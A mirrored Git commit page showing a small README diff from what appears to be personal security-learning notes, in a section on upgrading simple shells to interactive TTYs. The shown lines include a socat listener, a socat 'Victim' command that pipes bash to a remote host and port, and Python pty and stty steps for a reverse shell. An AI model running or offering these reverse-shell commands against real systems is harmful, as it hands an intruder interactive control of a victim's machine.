mirror of
https://github.com/haudang217/LearningSecurity.git
synced 2026-02-04 23:59:09 +00:00
Update Readme
This commit is contained in:
parent
bed03181e3
commit
b48a140195
@ -72,11 +72,13 @@ UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
|
|||||||
|
|
||||||
• using python
|
• using python
|
||||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||||
|
|
||||||
• using socat
|
• using socat
|
||||||
#Listener:
|
#Listener:
|
||||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||||
#Victim:
|
#Victim:
|
||||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||||
|
|
||||||
• using stty options
|
• using stty options
|
||||||
# In reverse shell
|
# In reverse shell
|
||||||
$ python -c 'import pty; pty.spawn("/bin/bash")'
|
$ python -c 'import pty; pty.spawn("/bin/bash")'
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user